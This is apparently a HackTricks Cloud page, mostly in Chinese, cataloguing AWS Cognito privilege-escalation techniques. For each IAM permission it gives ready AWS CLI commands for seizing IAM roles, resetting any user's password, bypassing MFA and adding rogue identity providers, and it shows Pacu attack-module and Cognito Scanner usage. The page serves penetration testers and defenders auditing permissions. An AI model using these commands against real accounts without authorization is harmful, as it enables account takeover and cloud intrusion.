AWS - Cognito Privesc
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Cognito
有关 Cognito 的更多信息,请参阅:
从 Identity Pool 收集凭证
由于 Cognito 可以向 IAM role credentials 授予给 authenticated 和 unauthenticated users,如果你定位到某个应用的 Identity Pool ID(通常被硬编码在应用中),你可以获取新的凭证,从而实现 privesc(在一个你可能之前甚至没有任何凭证的 AWS 账户内)。
有关更多信息 check this page.
Potential Impact: 直接对附加到 unauth users 的 services role 进行 privesc(并可能对附加到 auth users 的 role 也适用)。
cognito-identity:SetIdentityPoolRoles, iam:PassRole
拥有该权限后,你可以 grant any cognito role 给 cognito app 的 authenticated/unauthenticated users。
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>
# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
如果 cognito 应用 未启用未认证用户,你可能还需要权限 cognito-identity:UpdateIdentityPool 来启用它。
潜在影响: 直接 privesc 到任何 cognito role。
cognito-identity:update-identity-pool
拥有此权限的攻击者可以例如在其控制下设置一个 Cognito User Pool,或配置任何其他身份提供者,从而作为访问该 Cognito Identity Pool 的一种途径。然后,只需在该用户提供者上 login 就会允许他访问 Identity Pool 中配置的 authenticated role。
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:
# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
也可以滥用此权限来允许 basic auth:
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
Potential Impact: 妥协 identity pool 中配置的 authenticated IAM role。
cognito-idp:AdminAddUserToGroup
该权限允许 add a Cognito user to a Cognito group,因此 an attacker 可以滥用该权限将其控制的用户添加到具有 better 特权或 different IAM roles 的其他组:
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
Potential Impact: Privesc 到其他 Cognito groups 和附加到 User Pool Groups 的 IAM roles。
(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole
拥有这些权限的攻击者可以create/update groups,并在这些组中使用每个可被妥协的 Cognito Identity Provider 使用的 IAM role,将被妥协的用户加入组,从而访问所有这些角色:
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
潜在影响: Privesc to other Cognito IAM roles.
cognito-idp:AdminConfirmSignUp
此权限允许验证注册。默认情况下,任何人都可以登录 Cognito 应用程序,如果保留此设置,用户可以使用任意信息创建账户,并使用此权限对其进行验证。
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
Potential Impact: 如果你能够注册新用户,可能会间接导致对 identity pool IAM role 的 privesc(针对已认证用户)。也可能间接导致对应用其他功能的 privesc,因为能够确认任何账户。
cognito-idp:AdminCreateUser
此权限允许攻击者在 user pool 中创建新用户。新用户以已启用状态创建,但需要更改其密码。
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
Potential Impact: 直接 privesc 到 identity pool IAM role(针对已认证用户)。间接 privesc 到其他应用功能,使其能够创建任意用户
cognito-idp:AdminEnableUser
该权限在极少见的边缘场景下可能有用:当攻击者获得了一个被禁用用户的凭据并需要 再次启用该用户 时。
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
潜在影响: 间接 privesc 到 identity pool IAM role(针对已认证用户),以及如果攻击者拥有被禁用用户的凭据,则可能获得该用户的权限。
cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge
此权限允许使用 method ADMIN_USER_PASSWORD_AUTH. 更多信息请查看该链接。
cognito-idp:AdminSetUserPassword
此权限将允许攻击者 更改任何用户的密码,从而能够冒充任何用户(未启用 MFA 的用户)。
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
潜在影响: 可能直接对任意用户执行 privesc,从而访问该用户所属的所有组,并获取 Identity Pool authenticated IAM role 的访问权限。
cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool
AdminSetUserSettings: 攻击者可能滥用此权限,将其控制的手机设置为用户的 SMS MFA。
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
SetUserMFAPreference: 类似于之前的权限,这个权限可以用来设置用户的MFA偏好,从而绕过MFA保护。
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
SetUserPoolMfaConfig: 与前一个类似,此权限可用于设置 user pool 的 MFA 首选项,以绕过 MFA 保护。
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
UpdateUserPool: 也可以更新用户池以更改 MFA 策略。 Check cli here.
Potential Impact: 可能对攻击者已知凭证的任何用户造成间接的 privesc,这可能允许绕过 MFA 保护。
cognito-idp:AdminUpdateUserAttributes
拥有此权限的攻击者可以更改其控制下用户的电子邮件、电话号码或任何其他属性,以尝试在底层应用中获取更高权限。
这允许更改电子邮件或电话号码并将其标记为已验证。
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
潜在影响: 可能导致在使用 Cognito User Pool 的底层应用中发生间接 privesc,该应用基于用户属性授予权限。
cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient
拥有此权限的攻击者可以 创建一个比现有的 User Pool Client 更不受限制的新客户端。例如,新客户端可能允许任何类型的认证方法、不需要任何 secret、禁用 token revocation、允许 tokens 有更长的有效期…
如果不是创建新客户端,而是对 现有的客户端进行修改,也可以达到同样的效果。
在 command line(或 update one)中可以看到所有选项,去查看吧!
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
潜在影响: 可能间接对由 User Pool 使用并在 Identity Pool 中被授权的用户造成 privesc,方法是创建一个放宽安全措施的新 client,使 attacker 能使用其创建的 user 登录。
cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob
attacker 可以滥用该权限,通过上传包含新 users 的 csv 来创建 users。
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>
# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>
# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
(在你创建新的 import job 的情况下,你可能还需要 iam passrole permission,我还没有测试过。)
潜在影响: 对 authenticated users 的 identity pool IAM role 的直接 privesc。间接 privesc:其他应用功能可能被用于创建任意用户。
cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider
攻击者可以创建一个新的 identity provider,从而能够 login through this provider。
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
Potential Impact: 对已验证用户可直接对 identity pool IAM role 进行 privesc。间接 privesc 可能导致应用的其他功能能够创建任意用户。
cognito-sync:* 分析
这是 Cognito Identity Pools 角色中默认非常常见的权限。即使权限中的通配符看起来总是不好(尤其是来自 AWS),这些授予的权限从攻击者角度来看并不是非常有用。
该权限允许读取 Identity Pools 及其内部的 Identity IDs 的用户信息(这些并非敏感信息)。
Identity IDs 可能被分配有 Datasets,这些是会话信息(AWS 将其定义为一个 saved game)。这些可能包含某种敏感信息(但概率很低)。你可以在 enumeration page 找到如何访问这些信息。
攻击者也可以使用这些权限 enroll himself to a Cognito stream that publish changes on these datases or a lambda that triggers on cognito events。我没见过有人利用过这点,也不期待这里会有敏感信息,但并非不可能。
Automatic Tools
- Pacu, the AWS exploitation framework, now includes the “cognito__enum” and “cognito__attack” modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
For a description of the modules’ functions see part 2 of the blog post. For installation instructions see the main Pacu page.
Usage
示例 cognito__attack 用法,用于针对指定的 identity pool 和 user pool client 尝试 user creation 以及所有 privesc 向量:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
示例 cognito__enum 用法,用于收集当前 AWS 账户中可见的所有 user pools、user pool clients、identity pools、users 等:
Pacu (new:test) > run cognito__enum
- Cognito Scanner 是一个用 python 编写的 CLI 工具,实现了对 Cognito 的多种攻击,包括 privesc escalation。
安装
$ pip install cognito-scanner
使用
$ cognito-scanner --help
欲了解更多信息,请查看 https://github.com/padok-team/cognito-scanner
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

